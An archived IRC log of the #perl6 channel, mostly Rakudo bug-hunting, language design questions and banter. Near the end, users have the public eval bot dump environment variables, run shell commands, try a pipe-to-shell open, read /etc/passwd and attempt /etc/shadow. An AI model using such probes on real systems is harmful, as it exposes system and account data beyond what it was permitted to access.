Perl 6 - the future is here, just unevenly distributed

IRC log for #perl6, 2009-05-27

Perl 6 | Reference Documentation | Rakudo

| Channels | #perl6 index | Today | | Search | Google Search | Plain-Text | summary

All times shown according to UTC.

Time Nick Message
00:01 ElectricHeavyLan left #perl6
00:07 cotto masak++ for getting perl6 exposure oh Hacker News
00:07 cotto sjohnson++ too
00:07 wayland76 joined #perl6
00:25 nsh joined #perl6
00:28 eternaleye_ joined #perl6
00:28 japhb_ rakudo: say $*IN.get.words;
00:29 p6eval rakudo 695300:  ( no output )
00:29 japhb_ Hmmm, locally I get: $ perl6 -e 'say $*IN.get.words;'
00:29 japhb_ Could not find non-existent sub die
00:30 skids hrm.
00:30 japhb_ And its true whenever I do '$filehandle.get.words'
00:31 japhb_ but '$a = $filehandle.get; @b = $a.words' works fine
00:31 skids here too
00:31 skids Oh.
00:32 skids rakudo:  say $*IN.words;
00:32 p6eval rakudo 695300: OUTPUT«IO()<0xb62b8750>»
00:32 skids rakudo:  say $*IN.words[4];
00:32 p6eval rakudo 695300:  ( no output )
00:34 japhb_ OK, I think I'll tackle this later.  :-(
00:37 pmichaud good evening, #perl6
00:37 skids EHLO
00:38 wayland76 502 ESMTP command error
00:39 skids rakudo:say $*IN.get.WHAT.say
00:39 skids oops a bit too much saying there :-)
00:39 skids rakudo: $*IN.get.WHAT.say
00:40 p6eval rakudo 695300:  ( no output )
00:41 skids rakudo: $*IN.get.say
00:41 * pmichaud decides to fix .get
00:41 p6eval rakudo 695300: OUTPUT«Land der Berge, Land am Strome,»
00:41 pmichaud oh, maybe it already got fixed.
00:42 skids pmichaud: here $*IN.get.WHAT.say is IOIterator rather than str
00:42 pmichaud right, that's the bug.
00:42 pmichaud I'll fix that one.
00:42 skids I could take a swipe at it.
00:44 skids ...or not :-) ... feel like adding .get to regular Iterator while your at it? (pester, pester)
00:45 pmichaud Does regular Iterator have a .get?
00:46 skids Until it does, we can't Iterate arrays...
00:47 pmichaud I'll probably wait for Iterator.get until after we re-implement arrays and lists.
00:47 skids Well, I do have a pending 4 line patch...
00:50 skids RT#64858
00:50 skids ...which may not be the way it ends up, but would make it work in the meantime.
00:52 pmichaud fsvo "work"
00:52 pmichaud (reviewing patch)
00:52 skids Well, it works for me.  Saves me from some Q:PIR
01:15 synth joined #perl6
01:20 TimToady rehi, back from trip, and partly back from 2-day migraine... :/
01:20 lichtkind joined #perl6
01:20 TimToady anything hanging fire, before I attempt to backlog?
01:21 lichtkind can i use .assume even if sub has only positional parameters that have names in the signature (but without leading :)
01:21 wayland76 Only that the backlog is very large :)
01:21 wayland76 lichtkind: Example?
01:21 TimToady lichtkind: you can call .assuming with any arguments you can do a normal call with
01:22 sjohnson cotto: 16:36:00     cotto | masak++ for getting perl6 exposure oh Hacker News
01:22 skids Perl6 needs an extension that downloads the backlog directly into your brain.
01:22 sjohnson 16:36:10     cotto | sjohnson++ too
01:22 sjohnson what did i do?
01:22 lichtkind wayland76: my sig is multi sub potenz (Num $basis!, Num- $exponent!)
01:22 lichtkind wayland76: and i wanted &quadrier := &potenz.assuming( $exponent => 2 );
01:23 lichtkind TimToady: yes but how to fill the slot for the second positional parameter?
01:24 TimToady you can alway supply positional args by name
01:24 TimToady but leave the $ off the key of the pair there
01:24 lichtkind thanks
01:25 lichtkind yes  its time for bed
01:25 lichtkind its even bug in p5
01:25 lichtkind TimToady: macro is just is sub in a begin block?
01:26 pmichaud TimToady: fwiw, I'm still not caught up on the backlog either
01:26 LadyLuna1y joined #perl6
01:26 pmichaud (wb)
01:27 sjohnson PimChaudy
01:27 wayland76 I'm only caught up on the parts I was in on, although I also saw pmichaud's message to me
01:27 TimToady lichtkind: that's an oversimplification
01:27 TimToady a macro's interface is in terms of ASTs
01:28 lichtkind TimToady: i know there is this parsed stuff
01:28 bacek joined #perl6
01:28 lichtkind but i thought thats optional
01:28 TimToady you can write macro-like subs as operators
01:29 TimToady but the keyword "macro" switches you into compiler-think
01:29 TimToady so you can only return either text or AST (usually from a quasi quote)
01:30 TimToady is parsed only switches the parsing from the default, but by default the arguments come into a macro as AST also
01:31 TimToady we don't really define the notion of an "immediate" sub currently
01:31 TimToady apart from enclosing in BEGIN {...}
01:31 TimToady (which is allowed anywhere in an expression)
01:32 lichtkind so macros are for AST manipulations?
01:32 TimToady yes, so we get hygienic macros
01:33 TimToady textual macros have to be reparsed, and that makes them "unclean"
01:33 wayland76 I thought macros were for AST generation, which can then be manipulated?
01:33 lichtkind TimToady: thats a big one i  have a  friend that will verly like that
01:33 lichtkind i mena hiegienic macro
01:34 TimToady what would manipulate the AST *after* the macro, other than the ordinary compiler?
01:34 TimToady (or another macro)
01:34 TimToady generally the idea is to manipulate an AST within the macro
01:35 TimToady quasi-quoting is just the most convenient way to generate an AST as an object
01:35 hcchien joined #perl6
01:35 TimToady when the macro can then modify if it likes, before returning it
01:35 TimToady s/when/which/
01:36 lichtkind TimToady: the hygeniec macros but have not much to do with begin?
01:36 lichtkind thanks a lot i slowly get it
01:37 lichtkind s/begin/BEGIN{}/
01:37 wayland76 TimToady: Ok, thanks.
01:39 sjohnson i had a dream about Perl 6 last night
01:40 sjohnson and i shall ask my question as it made me think about something simple
01:40 wayland76 Did the dream say when it will be done?
01:41 ab5tract_ joined #perl6
01:41 sjohnson heh
01:41 sjohnson
01:41 sjohnson do {
01:41 sjohnson $answer = getTheAnswer();
01:41 sjohnson } until $answer eq "OK";
01:41 sjohnson
01:42 TimToady s/do/repeat
01:42 sjohnson the scoping is really my concern
01:42 sjohnson this i believe would fail
01:42 sjohnson in p5
01:42 skids .o0(wayland76 did mention something about channel clown)
01:43 TimToady well, no, depends on where you put the "my"
01:43 TimToady which you haven't :)
01:43 sjohnson i meant to put it in the $answer
01:43 TimToady so in p5 it's global
01:43 sjohnson
01:43 sjohnson do {
01:43 sjohnson my $answer = getTheAnswer();
01:43 sjohnson } until $answer eq "OK";
01:43 sjohnson this would fail i believe in p5
01:44 TimToady perl6: repeat until my $answer eq "OK" { $answer = getTheAnswer() }
01:44 p6eval pugs: OUTPUT«*** No such subroutine: "&getTheAnswer"␤    at /tmp/UptNdRTYnZ line 1, column 35-60␤»
01:44 p6eval ..rakudo 695300: OUTPUT«Could not find non-existent sub getTheAnswer␤»
01:44 p6eval ..elf 26940: OUTPUT«Unknown rule: statement_control:repeat␤It needs to be added to ast_handlers.␤ at ./elf_h line 2850␤»
01:44 agentzh joined #perl6
01:44 sjohnson amazing
01:45 sjohnson now, in p6
01:45 sjohnson can you do that same nice syntax after the last }?
01:45 sjohnson or does it have to be right after the repeat text?
01:45 TimToady no, the scoping rules of "my" have to be kept simple
01:45 sjohnson i suppose i could ask rukado
01:45 wayland76 Rakudo
01:45 sjohnson that does indeed solve my dream problem
01:46 wayland76 Remember what the Egyptians shouted during their celebrations...
01:46 wayland76 RA! RA!
01:46 wayland76 (that''s the first two letters of Rakudo)
01:46 sjohnson i liked larry's mneuomnic
01:46 sjohnson i lol'd
01:46 TimToady 3 cheers for the sun god, he sure is a fun god, Ra! Ra! Ra!
01:46 skids if it's "my" it can't make it out of the loop anyway, so why not use a different form?
01:47 wayland76 TimToady: Have you seen the Asterix books?
01:47 TimToady some of 'em
01:47 sjohnson asterix and obelix
01:47 sjohnson ?
01:47 wayland76 Ok, just making sure.  I stole my joke from Asterix & Cleopatra :)
01:47 wayland76 sjohnson: Yes; Americans often haven't seen them
01:47 wayland76 You being Canadian will of course know them, possibly even in the original French :)
01:48 TimToady I'm not American, I'm Californian
01:48 lichtkind :)
01:48 wayland76 That's like what Young Einstein said in the movie
01:48 sjohnson yeah i have read them in french as a kid
01:48 lichtkind good night
01:48 wayland76 Cultured French guy: Who is this barbarian?
01:48 sjohnson thought i didn't think they were particularily hilarious
01:49 sjohnson the fat guy?
01:49 wayland76 Young Einstein in a broad Aussie accent: I'm not a barbarian, I'm a Tasmanian!
01:49 wayland76 sjohnson: Well, I've read an article that claims that they're funnier in English
01:49 wayland76 They also get funnier as you get older, or at least as you learn more bits of Latin :)
01:50 sjohnson camel book is easily the most entertaining technical book i've ever read
01:50 * TimToady bows
01:50 * wayland76 joins applause
01:50 TimToady we were certainly trying to raise the bar, for some definition of bar
01:50 sjohnson and i learned how to codein perl too
01:50 sjohnson code in*
01:50 cotto sjohnson, I was referring to masak's journal entry: http://use.perl.org/~masak/journal/39025
01:50 wayland76 Mine is holding up my second keyboard, so it's readily accessible
01:51 * hercynium only raises the foo
01:52 * wayland76 wonders what raising the baz is :)
01:52 clug joined #perl6
01:53 clug Is perl6 going to include something like the php funtion nl2br?
01:53 sjohnson wow i had no idea someone was documenting my most cherished questions
01:54 clug http://www.reddit.com/r/programming/comments/8ne3a/how_perl_6_just_sells_itself_excerpt_from_irc/
01:54 wayland76 lambdabot: @google nl2br
01:54 lambdabot http://www.php.net/nl2br
01:54 lambdabot Title: PHP: nl2br - Manual
01:54 Maghnus_ joined #perl6
01:54 wayland76 ok, lambdabot is just cool :)
01:54 pmichaud clug: $str.subst(/\n/, "<br />\n")
01:56 pmichaud rakudo:   say "foo isn't\nbar".subst(/\n/, "<br />\n");
01:56 p6eval rakudo 695300: OUTPUT«foo isn't<br />␤bar␤»
01:57 wayland76 I like this quote from sjohnson's link: "perl5 syntax was flexible; with perl6 random gibberish has a good shot at being well-formed. "
01:57 wayland76 It may not be right, but I had to smile :)
01:59 clug rakduo: say "\n"
01:59 clug rakudo: say "\n"
01:59 p6eval rakudo 695300: OUTPUT«␤␤»
01:59 clug In private it told me: highlight 26940: OUTPUT?Odd number of elements in hash assignment at Cursor.pm line 140.?rakduo: [37msay[0m[37m [0m[33m"[0m[33m\[0m[33mn[0m[33m"[0m??
01:59 clug and yeah, I made a typo
02:00 wayland76 On my screen, that has a bunch of attempted colour coding in it, so it's almost unreadable
02:00 pmichaud rakudo:  my @foo = <a b c>;  say (^@foo).perl
02:00 p6eval rakudo 695300: OUTPUT«0..^3»
02:00 wayland76 ANSI escape sequences
02:05 pmichaud TimToady:  is it true that bare parens now produce a Capture instead of a List?
02:05 pmichaud I've seen that meme repeated several times but wanted to verify.
02:05 sjohnson wayland76: i dont see that quote on the link
02:05 sjohnson maybe im looking at the wrong place
02:06 wayland76 In the middle of the comment right at the bottom :)
02:07 clug join #proggit
02:07 clug oops
02:07 clug wanted to see if the channel exists, forgot the /
02:07 clug left #perl6
02:11 Striki joined #perl6
02:16 ElectricHeavyLan joined #perl6
02:17 sjohnson thanks for the links
02:17 sjohnson i had no idea the spotlight was on
02:17 sjohnson :)
02:18 wayland76 So, sjohnson, how does it feel to be a contender on "Perl 6 Big Brother"?
02:18 * wayland76 holds microphone to sjohnson
02:19 sjohnson well, I shall saw it loud and proud.  "Perl brings me actual happiness when I write projects in it."
02:20 sjohnson unlike any other language i have ever used for any other purpose
02:20 sjohnson i can write as fast in it as i think about what i want to write
02:20 sjohnson well, I think the vim editor is also to thank for that
02:21 DQuest joined #perl6
02:27 sjohnson now i won't talk about it much anymore as it will begin to sound strange
02:28 justatheory joined #perl6
02:33 flexibeast joined #perl6
02:34 amoc joined #perl6
02:35 pmichaud sjohnson: fwiw, Perl6 brings me happiness when I write things in it as well.
02:38 sjohnson :)
02:39 wayland76 I wish my Rakudo RPM worked so I could join in :)
02:39 sjohnson thanks for sharing that
02:48 sjohnson do rakudo devels hang out here too?
02:51 sbp joined #perl6
02:52 PerlJam rakudo: module X { constant Y = "foo"; }; say X::Y;  # this should work, right?
02:52 p6eval rakudo 695300: OUTPUT«Null PMC access in isa()␤in Main (/tmp/rD35vfNy1o:1)␤»
02:52 nsh joined #perl6
02:53 PerlJam sjohnson: you'd be hard pressed to find people that are *not* rakudo developers hanging out here :)
02:54 PerlJam (I exaggerate, but only a little)
02:57 LadyLunacy joined #perl6
03:05 pmichaud rakudo:  module X { our constant Y = "foo"; };  say X::Y;
03:05 p6eval rakudo 695300: OUTPUT«Malformed declaration at line 1, near "constant Y"␤in Main (src/gen_setting.pm:0)␤»
03:06 pmichaud are "constant" declarations lexically or package scoped?
03:07 pmichaud S04 says "lexically scoped".
03:07 pmichaud So in PerlJam's example above, X::Y isn't defined.
03:07 pmichaud (and rakudo did the right thing)
03:12 PerlJam modulo a better error message
03:13 pmichaud modulo that.
03:17 Scorp2us joined #perl6
03:17 Tene joined #perl6
03:20 donaldh joined #perl6
03:23 eternaleye_ wayland76: I just sent a (long!) message to p6l speculating on requirements for a CPAN v6, partially because most suggestions are heavily biased towards binary distros. I used your general idea as a starting point, I hope you don't mind
03:23 PerlJam I guess since "constant" is a declarator just as "my" and "our" and "state".
03:24 PerlJam our constant C = ....  doesn't make much sense either
03:24 pmichaud I suspect what you really want
03:24 pmichaud module X { our Y is readonly = "foo"; }
03:24 pmichaud or something like that.
03:24 wayland76 I'll decide whether I mind after I see whether I communicated it to you clearly or not :)
03:25 PerlJam perhaps.
03:25 eternaleye_ General idea is to have a formal metadata spec, whic permits programmatic translation to disparate package formats, right?
03:26 PerlJam Though I don't think that works.
03:26 skids You mean like all those MakeMaker variables package maintainers failed to fill out? :-)
03:26 PerlJam I've a constraint (artificial, but still) to not use a sigil on my "constant"
03:27 pmichaud oh, sorry, I meant  our $Y is readonly = "foo";
03:27 pmichaud I forgot the sigil.
03:27 PerlJam eternaleye_: that sounds orthogonal to cpan6
03:27 wayland76 eternaleye_: Almost.  Basically, I want to create a Metadata object (consider that a spec, if you like), and then people either have to create them, or turn them into their favourite package format
03:27 pmichaud PerlJam:  perhaps you want an enum, then
03:27 eternaleye_ skids: Well, that might be solvable by having a simple menu-based package maker. "newpackage: Enter name\n>"
03:27 PerlJam an enum for one thing feels weird.
03:28 PerlJam but you may be right.
03:28 wayland76 PerlJam: Which CPAN?  We're talking about CPAN as in CPAN shell, etc
03:28 eternaleye_ wayland76: Well, specifying an object interface formally would be pretty much the same effect, since you'd need a standard serialization
03:29 wayland76 eternaleye_: What?
03:29 skids eternaleye: and people will use it to generate a skeleton, and then add deendencies without noting them formally.
03:30 wayland76 If serialisation is what I think it is, then why do we need a standard one?
03:30 eternaleye_ PerlJam: Also, it /is/ imortant to CPAN: Where would the search metadata come from? Could CPAN extract the metadata into a sepatate tryy, so that package managers can handle the format internally?
03:30 PerlJam wayland76: let me rephrase ... formal meta-data spec == good,  programmatic translation to other packaging formats == orthogonal
03:30 eternaleye_ s/tryy/tree/
03:31 wayland76 PerlJam: Yes, but we're interested in the spec only as a means to the programmatic translation :)
03:31 eternaleye_ PerlJam: But the metadata spec must have sufficient data-richness to enable translation upfromt, preferably without downloading the whole distribution like in P5
03:32 eternaleye_ wayland76: Well, 'standard
03:32 PerlJam maybe I just haven't moved my mind quite there yet, but that is not at all what I think of when it comes to cpan-like things.
03:32 eternaleye_ wayland76: Well, 'standard' in the sense that there are certain required elements for a valid serialization and such, so that the Real Programmers(c) can write the metadata serialization raw XD
03:33 orafu joined #perl6
03:33 wayland76 PerlJam: Those of us who use package managers have been individually beating CPAN into submission for years.  We want to try to make sure things are right this time :)
03:34 eternaleye_ wayland76: AMEN
03:34 wayland76 eternaleye_: Not 100% sure I followed that, but from what I can pick up, we're thinking the same things
03:34 wayland76 Actually, now that I think about it, CPAN6 should also be searchable with yum or whatever :)
03:35 PerlJam wayland76: so, how would that work?   A cpan-client knows how to generate the proper packaging for the local system (say it's rpms), how does a sysadmin-type person use it?
03:35 wayland76 Also, if we do it right, it means that it will be a snap [easy] to implement package managers in Perl
03:36 wayland76 Well, a config file somewhere would say what package format you want (and hopefully default to the correct format for the local system)
03:36 wayland76 Then, they could use it the same way everywhere....
03:36 skids find old threads complaining about extutils and make notes not to do those things :-)
03:37 wayland76 ...and on a Redhat system, it would download, build, and install RPMs.  On a Debian system it would do .debs.  And on a linux from scratch system, it would do what the current CPAN system does
03:37 PerlJam wayland76: what I was thinking (and you almost said) was that CPAN (the many-files on disk archive) could present a rpm interface or a .deb interface or a pkg interface (or whatever) once you're to the point of automatic translation.
03:37 eternaleye_ PerlJam: Well, IIUC yum supports secondary repositories, so perhaps CPAN could host a preconverted repository so people don't /have/ to learn anything new. Generation could be automated by hooks, like search.c.o is currently
03:37 PerlJam wayland76: this would be at the cpan-server rather than the cpan-client though
03:38 eternaleye_ wayland76: One thing with the config file idea: many distros forbid modifying packages visible to the manager as non-root. Gentoo and Exherbo, f.e
03:38 * PerlJam needs to type faster  :)
03:38 wayland76 PerlJam: I'd like that as an option.
03:39 wayland76 Yeah, you'd need sudo or su built in
03:39 wayland76 PerlJam: I'd like to type faster as an option too :)
03:40 skids or a flag for a homedir package
03:40 eternaleye_ haha, I hunt & peck and I'm fast!
03:40 PerlJam eternaleye_: try it while switching between a few windows  :)
03:40 eternaleye_ Alt-tab and notifications :P
03:41 wayland76 Multiple tabs :)
03:41 eternaleye_ I keyboard command shortcuts, but hunt & peck text. I'm weird.
03:42 wayland76 Well, I'm planning to get an Avant Stellar (keyboard) :)
03:42 skids hunt & peck = immunity to carpal tunnel syndrome.
03:42 skids :-)
03:42 eternaleye_ :D
03:43 wayland76 I don't know why, but I've never had carpal tunnel
03:43 wayland76 probably because I subconsciously flex my hands regularly, and use a fairly old keyboard
03:44 wayland76 or something
03:45 wayland76 If I ever get carpal tunnel, I'll investigate the Maltron keyboard :)
03:46 PerlJam rakudo: sub time-flies { 5 }; say time-flies;
03:46 p6eval rakudo 695300: OUTPUT«Could not find non-existent sub flies␤»
03:46 skids Or maybe those aeon flux feet fingers :-)
03:46 PerlJam Is that a known parser bug?
03:46 wayland76 rakudo: sub aqua-marine { 5 }; say aqua-marine();
03:47 p6eval rakudo 695300: OUTPUT«5␤»
03:47 wayland76 rakudo: sub aqua-marine { 5 }; say aqua-marine;
03:47 p6eval rakudo 695300: OUTPUT«5␤»
03:47 skids std:  sub time-flies { 5 }; say time-flies;
03:47 PerlJam wayland76: It has to do with time being a built in I would imagine
03:47 p6eval std 26940: OUTPUT«ok 00:02 35m␤»
03:47 pmichaud it's a known parser bug, but I don't know if there's an RT for it.
03:47 wayland76 rakudo: sub time-marine { 5 }; say time-marine;
03:47 p6eval rakudo 695300: OUTPUT«Could not find non-existent sub marine␤»
03:47 eternaleye_ Haha
03:48 wayland76 There we go.  Read *that* error message :)
03:48 pmichaud But yes, the problem is that Rakudo is seeing  "time-marine"  as    time() - marine
03:48 pmichaud (because "time" is a named 0-ary)
03:48 skids .oO(time-genious)
03:49 wayland76 Actually, that error message can be sung to the tune of "We all live in a yellow..." :)
03:50 eternaleye_ rakudo sub time-genius_church { 5 }; say time-genius_church
03:50 eternaleye_ rakudo: sub time-genius_church { 5 }; say time-genius_church
03:50 p6eval rakudo 695300: OUTPUT«Could not find non-existent sub genius_church␤»
03:51 PerlJam "sub genius"?
03:51 wayland76 rakudo: sub time-mit-to-me-peons { 5 }; say time-mit-to-me-peons;
03:51 p6eval rakudo 695300: OUTPUT«Could not find non-existent sub mit-to-me-peons␤»
03:51 wayland76 rakudo: use arrogance; sub time-mit-to-me-peons { 5 }; say time-mit-to-me-peons;
03:51 p6eval rakudo 695300: OUTPUT«Can't find ./arrogance in @INC␤in Main (src/gen_setting.pm:438)␤»
03:51 eternaleye_ PerlJam: http://www.subgenius.com/
03:52 PerlJam oh, heh.  I was thinking of Alonzo Church
03:52 wayland76 PerlJam: Now we're showing our age :)
03:52 PerlJam (he's what comes to my mind when you mix church and genius in the same sentence)
03:53 PerlJam wayland76: really?  How old am I?
03:53 eternaleye_ rakudo: use my-arse-with-two-hands-and-a-flashlight
03:53 p6eval rakudo 695300: OUTPUT«Can't find ./my-arse-with-two-hands-and-a-flashlight in @INC␤in Main (src/gen_setting.pm:438)␤»
03:53 wayland76 What was he again?  General Semantics or Lambda Calculus or something?
03:54 wayland76 PerlJam: over 30, probably :)
03:54 eternaleye_ Lambda Calculus IIRC
03:54 PerlJam wayland76: yeah, that make me an oldster :)
03:54 nacho_ joined #perl6
03:55 wayland76 PerlJam: Well, IIRC, you're even older than me, and I'm 32 :) (I think you said how old you were a month or so ago)
03:55 wayland76 slow mailing lists--
03:56 eternaleye_ I think it's in moderation
03:56 PerlJam That's the secret ... all things in moderation  ;)
03:56 wayland76 Are we moderated?  That explains a lot :)
03:56 skids PerlJam: hail bob.  Pass the slack!
03:56 eternaleye_ Well, and I sent it via NNTP
03:57 wayland76 That's what keeps the immoderation here away :)
03:57 wayland76 Ah, NNTP doesn't help
03:57 wayland76 I love NNTP, but that is one of its drawbacks
03:57 wayland76 (not that I use it much, though)
04:00 sparc joined #perl6
04:01 agentzh joined #perl6
04:02 wayland76 Now that I've read the updated ROADMAP, all I can say is task A++ :)
04:09 * wayland76 is looking forward to his new computer that will compile faster :)
04:11 eternaleye_ Indeed.
04:12 eternaleye_ (wrt ROADMAP)
04:13 wayland76 Does he have a grant to do that?
04:33 clug joined #perl6
04:34 clug raduko: print_r($_SERVER);
04:34 clug rakudo: print_r($_SERVER);
04:34 p6eval rakudo 695300: OUTPUT«Symbol '$_SERVER' not predeclared in <anonymous> (/tmp/zeXGcdHbW3:1)␤in Main (src/gen_setting.pm:3166)␤»
04:34 wayland76 Rakudo was spelled incorrectly, and won't do print_r
04:34 wayland76 That's a PHPism
04:35 clug oh
04:35 wayland76 It probably has something similar
04:35 wayland76 But I don't remember what (I'm no expert)
04:35 pmichaud .perl
04:36 wayland76 rakudo $_SERVER.perl
04:36 wayland76 rakudo: $_SERVER.perl
04:36 pmichaud and afaik there's no $_SERVER variable.
04:36 p6eval rakudo 695300: OUTPUT«Symbol '$_SERVER' not predeclared in <anonymous> (/tmp/wDiP0mgXzl:1)␤in Main (src/gen_setting.pm:3166)␤»
04:36 pmichaud That's definitely a PHPism
04:36 clug rakudo: foreach(%ENV) {print $_;}
04:36 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "{print $_;"␤in Main (src/gen_setting.pm:0)␤»
04:36 pmichaud print %ENV.perl;
04:36 pmichaud rakudo: print %ENV.perl;
04:36 p6eval rakudo 695300: OUTPUT«Symbol '%ENV' not predeclared in <anonymous> (/tmp/68daQRo75M:1)␤in »
04:36 pmichaud rakudo: print %*ENV.perl;
04:37 p6eval rakudo 695300: OUTPUT«{"TERM" => "screen", "SHELL" => "/bin/bash", "USER" => "evalenv", "LD_LIBRARY_PATH" => "/home/evalenv/pugs/v6/smop/build/", "LS_COLORS" =>
04:37 p6eval .."no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=0…
04:37 eternaleye_ rakudo: for %ENV.kv -> $k, $v { say "$k : $v" }
04:37 p6eval rakudo 695300: OUTPUT«Symbol '%ENV' not predeclared in <anonymous> (/tmp/U1VCggBQeS:1)␤in Main (src/gen_setting.pm:3166)»
04:37 eternaleye_ rakudo: for %*ENV.kv -> $k, $v { say "$k : $v" }
04:37 p6eval rakudo 695300: OUTPUT«TERM : screen␤SHELL : /bin/bash»
04:37 eternaleye_ rakudo: say qx/hostname/
04:38 p6eval rakudo 695300: OUTPUT«timtowtdi␤␤»
04:40 wayland76 rakudo: say qx/hostname/ ~~ s/wt(.)i/oa$1y/
04:40 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "(.)i/oa$1y"␤in Main (src/gen_setting.pm:0)␤»
04:40 pmichaud rakudo doesn't implement s/.../
04:41 pmichaud rakudo:   say qx/hostname/.subst(/wt(.)i/, { "oa$1y" })
04:41 p6eval rakudo 695300: OUTPUT«Use of uninitialized value␤timtooay␤␤»
04:41 clug rakudo: open(FH, 'test.txt');
04:41 p6eval rakudo 695300: OUTPUT«Could not find non-existent sub FH␤»
04:41 clug ???
04:42 pmichaud rakudo:  my $fh = open('test.txt');
04:42 p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path 'test.txt'␤in Main (src/gen_setting.pm:3166)␤»
04:42 wayland76 rakudo: open(my $fh, '>test.txt');
04:42 p6eval rakudo 695300: OUTPUT«Use of uninitialized value␤Unable to open filehandle from path ''␤in Main (/tmp/WJ6vL2Olob:1)␤»
04:42 eternaleye_ my $fh = open('test.txt', :w);
04:42 pmichaud open() returns a filehandle, it doesn't take one as an argument.
04:42 eternaleye_ rakudo: my $fh = open('test.txt', :w);
04:42 p6eval rakudo 695300:  ( no output )
04:42 eternaleye_ rakudo: my $fh = open('test.txt', :w); say $fh.get
04:42 p6eval rakudo 695300: OUTPUT«␤»
04:43 wayland76 pmichaud: As soon as I saw yours, I knew -- I'm just a little forgetful, especially with not having a working Rakudo (RPM) to play with :)
04:43 clug rakudo: open('|ls');
04:43 p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path '|ls'␤in Main (src/gen_setting.pm:3166)␤»
04:43 pmichaud wayland76: why does it have to be an RPM?
04:43 eternaleye_ rakudo: my $fh = open('test.txt', :w, :r); say { $fh } "hi"; say $fh.get
04:43 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; say "␤in Main (src/gen_setting.pm:0)␤»
04:43 wayland76 pmichaud: Because that's the way I do things on my system
04:43 eternaleye_ rakudo: my $fh = open('test.txt', :w, :r); $fh.say"hi"; say $fh.get
04:43 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; say "␤in Main (src/gen_setting.pm:0)␤»
04:43 eternaleye_ rakudo: my $fh = open('test.txt', :w, :r); $fh.say "hi"; say $fh.get
04:43 pmichaud wayland76: okay.
04:43 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; say "␤in Main (src/gen_setting.pm:0)␤»
04:43 clug I thought you could execute shell commands in open using pipe symbol?
04:43 clug http://perldoc.perl.org/functions/open.html
04:44 wayland76 pmichaud: But it means that I have to turn Rakudo into an RPM, which is a bonus for everyone :)
04:44 pmichaud clug: I'm not sure that's true for Perl 6 anymore.
04:44 pmichaud clug: I don't know if that's been officially specified yet.
04:44 wayland76 Is there an equivalent?
04:44 eternaleye_ rakudo: my $fh = open('test.txt', :w); $fh.say "hi"; $fh.close; my $fh2 = open('test.txt', :r); say $fh2.get
04:44 clug Does null byte injection still work!?!?
04:44 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "\"hi\"; $fh."␤in Main (src/gen_setting.pm:0)␤»
04:44 alester joined #perl6
04:44 wayland76 Oh, yeah, that's right
04:44 clug You can't break null byte injection
04:44 clug it will make hundreds of websites less vulnerable
04:45 eternaleye_ rakudo: my $fh = open('test.txt', :w); $fh.say( "hi" ); $fh.close; my $fh2 = open('test.txt'); say $fh2.get
04:45 p6eval rakudo 695300: OUTPUT«hi␤»
04:45 wayland76 clug: The spec for IPC (which includes that piping stuff) is still in pre-draft, but no doubt there'll be something equivalent
04:45 eternaleye_ clug: ^^^
04:45 eternaleye_ rakudo: my $fh2 = open('test.txt'); say $fh2.get
04:45 p6eval rakudo 695300: OUTPUT«hi␤»
04:46 eternaleye_ Persistence ;D
04:46 clug My poison null bytes are safe then <3 ( http://insecure.org/news/P55-07.txt )
04:46 wayland76 rakudo: my $fh2 = open('/etc/passwd'); say $fh2.get
04:46 p6eval rakudo 695300:
04:46 p6eval ..OUTPUT«root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var…
04:46 wayland76 rakudo: my $fh2 = open('/etc/shadow'); say $fh2.get
04:46 p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path '/etc/shadow'␤in Main (src/gen_setting.pm:3166)␤»
04:46 eternaleye_ It ate the \n's!
04:47 wayland76 phew!
04:47 clug lol
04:47 eternaleye_ rakudo: say "I accidentally the whole passwd"
04:47 p6eval rakudo 695300: OUTPUT«I accidentally the whole passwd␤»
04:47 pmichaud I'm working on .get now, but unfortunately that led to an importation bug
04:48 pmichaud actually, I guess I'll do the quick-fix for .get and then fix import tomorrow.
04:50 davidad joined #perl6
04:50 clug How do you do readdir?
04:52 clug rakudo: my $fh2 = open('.'); map{say $_;} readdir($fh2);
04:52 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "{say $_;} "␤in Main (src/gen_setting.pm:0)␤»
04:52 wayland76 rakudo: my $fh2 = open('.'); readdir($fh2).say;
04:52 p6eval rakudo 695300: OUTPUT«Unable to open filehandle from path '.'␤in Main (src/gen_setting.pm:3166)␤»
04:52 wayland76 rakudo: my $fh2 = opendir('.'); readdir($fh2).say;
04:52 p6eval rakudo 695300: OUTPUT«Could not find non-existent sub opendir␤»
04:53 wayland76 NYI = Not Yet Implemented, I'm guessing
04:53 eternaleye_ rakudo: .say for qx/ls/.split( /\s+/ )
04:53 p6eval rakudo 695300: OUTPUT«build␤Configure.pl␤CREDITS␤docs␤LICENSE␤Makefile␤parrot␤perl6␤perl6.c␤perl6.o␤perl6.pbc␤perl6.pir␤perl6_s1.pbc␤rakudo_revision»
04:54 eternaleye_ rakudo: .say for qx/ls/.split( /\n+/ )
04:54 p6eval rakudo 695300:  ( no output )
04:57 clug rakudo: .say qx/touch test.txt/
04:57 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "qx/touch t"␤in Main (src/gen_setting.pm:0)␤»
04:57 clug rakudo: .say qx/`touch test.txt`/
04:57 PerlJam rakudo: .say for qx/ls/.comb(/\S+/);
04:57 p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "qx/`touch "␤in Main (src/gen_setting.pm:0)␤»
